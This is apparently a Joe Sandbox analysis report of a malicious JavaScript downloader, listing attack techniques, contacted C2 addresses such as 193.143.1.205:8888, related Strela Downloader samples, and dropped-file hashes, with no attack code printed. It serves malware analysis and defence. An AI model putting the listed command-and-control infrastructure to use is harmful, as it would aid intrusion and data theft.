Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7401990642713807.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/M	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2192807823.0000020EC2720000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3412695251.0000020EC2800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2189283924.000001FF09EFE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2189283924.000001FF09EA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2189283924.000001FF09EE1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sm	net.exe, 00000007.00000002.2189283924.000001FF09EA8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/M	net.exe, 00000007.00000002.2189283924.000001FF09EE1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587564
Start date and time:	2025-01-10 14:57:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7401990642713807.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/41@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 34.237.241.83, 50.16.47.176, 18.213.11.84, 54.224.241.105, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 2.22.242.123, 2.22.242.11, 13.107.246.45, 52.149.20.212, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:58:03	API Interceptor	24x Sleep call for process: powershell.exe modified
08:58:07	API Interceptor	1x Sleep call for process: net.exe modified
08:58:07	API Interceptor	2x Sleep call for process: svchost.exe modified
08:58:14	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	A5815BC0-FA26-4ECC-9A97-EE9DB31273CA_12272024154104847.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	random.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18474255912080825433.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27311161302332319656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263295423704429
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0w:9JZj5MiKNnNhoxut
MD5:	23B8D48994C06799771A77AD0C5896EE
SHA1:	56F116B8AB25EA022FD886B995E86001C5E26872
SHA-256:	9FBC0F6948E9668FC23C39F4D22E86A125830F6C73B372DAD7E546975E336635
SHA-512:	A081A7CB8AEFD3C11C304F7875029A109843A519A13AC46782A5E85F3863DA537DE16F7B5F6985106569557EF2B246F27346CAB87ADFAA335CD1E1D120A155B3
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x09e142af, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555665931039842
Encrypted:	false
SSDEEP:	1536:VSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:VazaSvGJzYj2UlmOlOL
MD5:	126F71B6ACE7140F837CBC36A540B1D5
SHA1:	22DE03E67FB833B51D621EC1F76835742449475E
SHA-256:	DD0D5EA9E1224A89027A881FEFC553B32F27CC2F15AEB1BD5CE5F438313B1392
SHA-512:	E9A7D9C2445F9E2E62915EF204A97EB81205707710A4D25AE7A71CF65D40B5C0F73BB4AB45A8DCADD0401E6A0FC4070B93F7E3E186DABA0D9A89A7A5F7E6A897
Malicious:	false
Preview:	..B.... .......7.......X\...;...{......................0.e......!...{?..:...}u.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................T...:...}1..................K...:...}u..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07911630011583928
Encrypted:	false
SSDEEP:	3:LvmtyYeaKkP7fNaAPaU1lJ/1alluxmO+l/SNxOf:zmUzKPDNDPaUVQgmOH
MD5:	F8016A91594339941C85596A9A4D5919
SHA1:	055CC6612D331C22226A1273835A65D15AD0AB02
SHA-256:	FCA7528019B4B8F565FE0BADFD49CE3AF67CB166088912F044D6DC93D389C47F
SHA-512:	52FA0C4D664D1103E02EE8540323DB31F8C6F7CACD130EC658B728FD82427CB11CAB385B2D8DA37D6BD51F3D521AD13C69E193CE5FEF32095861659A6835D4C2
Malicious:	false
Preview:	..u......................................;...{...:...}u..!...{?..........!...{?..!...{?..g...!...{?..................K...:...}u.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.201158331524628
Encrypted:	false
SSDEEP:	6:iO4od9iqXIq2PN72nKuAl9OmbnIFUtSod9i6Zmwsod9iGkwON72nKuAl9OmbjLJ:7vv4vVaHAahFUtR7/7R5OaHAaSJ
MD5:	0C7FFEEF3F74170104D172F095388ECC
SHA1:	F084E9522A2E9A89EBC7BF0FC40536D013BF40BD
SHA-256:	FE9167F64B573BBEA19ABB91D190ED0D4CCDD160C543BA40E81D67AECC497EA8
SHA-512:	E6175030686E0AB505FCDA48A55A3E2230AABD6247A02C18D85D7ABF919A15EC0F48B41CC8F29F7BBAA0F1FD5BDA51F13F2A58A93858738E133565577B2B0A51
Malicious:	false
Preview:	2025/01/10-08:58:07.386 3f4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:58:07.388 3f4 Recovering log #3.2025/01/10-08:58:07.388 3f4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.201158331524628
Encrypted:	false
SSDEEP:	6:iO4od9iqXIq2PN72nKuAl9OmbnIFUtSod9i6Zmwsod9iGkwON72nKuAl9OmbjLJ:7vv4vVaHAahFUtR7/7R5OaHAaSJ
MD5:	0C7FFEEF3F74170104D172F095388ECC
SHA1:	F084E9522A2E9A89EBC7BF0FC40536D013BF40BD
SHA-256:	FE9167F64B573BBEA19ABB91D190ED0D4CCDD160C543BA40E81D67AECC497EA8
SHA-512:	E6175030686E0AB505FCDA48A55A3E2230AABD6247A02C18D85D7ABF919A15EC0F48B41CC8F29F7BBAA0F1FD5BDA51F13F2A58A93858738E133565577B2B0A51
Malicious:	false
Preview:	2025/01/10-08:58:07.386 3f4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:58:07.388 3f4 Recovering log #3.2025/01/10-08:58:07.388 3f4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.112297063596499
Encrypted:	false
SSDEEP:	6:iO4od9km3+q2PN72nKuAl9Ombzo2jMGIFUtSod9kQZmwsod9kAVkwON72nKuAl97:7vUmOvVaHAa8uFUtRUQ/7UY5OaHAa8RJ
MD5:	FCFE055CAD279DF4E35D4C9206D95120
SHA1:	DE7BCF547DAA5AD29866B73AE1EA104F611111ED
SHA-256:	23CDC0E4E1A87A2A53E2DACA313D6616A9FFDF25A8F6AC6369F15B0BFEDB8B12
SHA-512:	0D5799872E38B3B65A2B79B7F0877498B645C5CDFB8F07E6D8198FF4527D88CC9ADCEF05AAE26191085EE86B55A3E3644A99AD3828AA4B7CBAAC58486A72AAD8
Malicious:	false
Preview:	2025/01/10-08:58:07.506 2c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:58:07.508 2c8 Recovering log #3.2025/01/10-08:58:07.508 2c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.112297063596499
Encrypted:	false
SSDEEP:	6:iO4od9km3+q2PN72nKuAl9Ombzo2jMGIFUtSod9kQZmwsod9kAVkwON72nKuAl97:7vUmOvVaHAa8uFUtRUQ/7UY5OaHAa8RJ
MD5:	FCFE055CAD279DF4E35D4C9206D95120
SHA1:	DE7BCF547DAA5AD29866B73AE1EA104F611111ED
SHA-256:	23CDC0E4E1A87A2A53E2DACA313D6616A9FFDF25A8F6AC6369F15B0BFEDB8B12
SHA-512:	0D5799872E38B3B65A2B79B7F0877498B645C5CDFB8F07E6D8198FF4527D88CC9ADCEF05AAE26191085EE86B55A3E3644A99AD3828AA4B7CBAAC58486A72AAD8
Malicious:	false
Preview:	2025/01/10-08:58:07.506 2c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:58:07.508 2c8 Recovering log #3.2025/01/10-08:58:07.508 2c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7e98a34e-5d6e-4554-a2e8-e879ab3e5ed0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9682742728584595
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqm02sBdOg2Hxfcaq3QYiubcP7E4T3y:Y2sRdsmdMH83QYhbA7nby
MD5:	7442B2DB773066A1026876BAF185865E
SHA1:	91631AE129F0F484BD9E91C909D70FA5596AA12E
SHA-256:	180F9FE6A2A5AEFEE8530C354A13EF1C666C7ACEDBEC1CD0BABD2B73BCDAC927
SHA-512:	B1BC20BA424B228427FF36A9C0A2B79A0F7648E1C92E11DBEEFC3FB2A3198050199C27ECC8A0DF1F24D27D86E1FB19002C9D0EE9C5CA070FF2D74BA57570FD84
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381077499118479","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136766},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9682742728584595
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqm02sBdOg2Hxfcaq3QYiubcP7E4T3y:Y2sRdsmdMH83QYhbA7nby
MD5:	7442B2DB773066A1026876BAF185865E
SHA1:	91631AE129F0F484BD9E91C909D70FA5596AA12E
SHA-256:	180F9FE6A2A5AEFEE8530C354A13EF1C666C7ACEDBEC1CD0BABD2B73BCDAC927
SHA-512:	B1BC20BA424B228427FF36A9C0A2B79A0F7648E1C92E11DBEEFC3FB2A3198050199C27ECC8A0DF1F24D27D86E1FB19002C9D0EE9C5CA070FF2D74BA57570FD84
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381077499118479","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136766},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.249409646259086
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7fyUF:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhJ
MD5:	27D76C39A03C46D4114EEAA1B4FF43E2
SHA1:	1A3ED8C33A5564C5F0D8EA0112E82BF9EB0AC034
SHA-256:	799CA59E6C850499B7DEE0B8F33AFED6A7B6A74002BDE06975EF52CF1F227E2A
SHA-512:	D7B82ABD33C3B62C1A4F20620B2A79B2D49C24C447D815B91FF9DC3779F183AA2E3367421400C713E791BEA598271CB6E652A01AB5212A46C65FCCFB9FD8880C
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.158153322150193
Encrypted:	false
SSDEEP:	6:iO4od9No9+q2PN72nKuAl9OmbzNMxIFUtSod9aG5Zmwsod9yVkwON72nKuAl9Omk:7vm4vVaHAa8jFUtRqG5/765OaHAa84J
MD5:	07846C61467511AFCC15413D6905D819
SHA1:	04D9E179021352D6E3795D183CB6588EAEF70B71
SHA-256:	D5FD0AA2B7F5F3E13EFE341694BC39F9EC757C5C4BCE4F86E32A3280831C31DF
SHA-512:	59787DF2D897747B3AAEB35216DD387C479BDCB8506D1D98E92FFBF975878B0F7E62272553DF4EA71F4D6AF60590A233F55738F6007B82093D54A74038792D5C
Malicious:	false
Preview:	2025/01/10-08:58:07.657 2c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:58:07.658 2c8 Recovering log #3.2025/01/10-08:58:07.659 2c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.158153322150193
Encrypted:	false
SSDEEP:	6:iO4od9No9+q2PN72nKuAl9OmbzNMxIFUtSod9aG5Zmwsod9yVkwON72nKuAl9Omk:7vm4vVaHAa8jFUtRqG5/765OaHAa84J
MD5:	07846C61467511AFCC15413D6905D819
SHA1:	04D9E179021352D6E3795D183CB6588EAEF70B71
SHA-256:	D5FD0AA2B7F5F3E13EFE341694BC39F9EC757C5C4BCE4F86E32A3280831C31DF
SHA-512:	59787DF2D897747B3AAEB35216DD387C479BDCB8506D1D98E92FFBF975878B0F7E62272553DF4EA71F4D6AF60590A233F55738F6007B82093D54A74038792D5C
Malicious:	false
Preview:	2025/01/10-08:58:07.657 2c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:58:07.658 2c8 Recovering log #3.2025/01/10-08:58:07.659 2c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444784079096054
Encrypted:	false
SSDEEP:	384:ye6ci5tu9eggiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mu9eg3s3OazzU89UTTgUL
MD5:	97D7C8F05531D8444AF37A712FC2B7EE
SHA1:	03C514E750454CB40C01B10A0FF132AE08898582
SHA-256:	E9A08AE0D4D08CF99BE08D83578F852B4820CF2F8073958292E37E226E8F8D3F
SHA-512:	DBCBC98C2A69223E78E250D499E86768077489F5BD458294089E3392E4228B38A5A2C3FB184132DEF4434642AEF2AF2928C5489EE25BB1D93990DDECA01BC1A8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.769794199755485
Encrypted:	false
SSDEEP:	48:7MuJioyV+IioyV9oy1C7oy16oy1/BKOioy1noy1AYoy1Wioy1oioykioyBoy1noj:7lJu+IKyUzXjBigb9IVXEBodRBkp
MD5:	CF09108A36C998AB6D6E3D59CB34445E
SHA1:	222DC4338580366AE2EC61E6277C2CC3AC7B897C
SHA-256:	6E5F2AE0B77B15313AA54E71302708C55EC7063E55EEF4BC4B214DD998856A3C
SHA-512:	BBF0A0CE9E68AC5254E4145DB6AB0B1F93720FCD3F0FD00FA64327F7B2791165D9FA5CE2F5D033E33B3216768D61E94AF0ABE4DDDA01DCD720BEF709B4150FCA
Malicious:	false
Preview:	.... .c......{.:...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
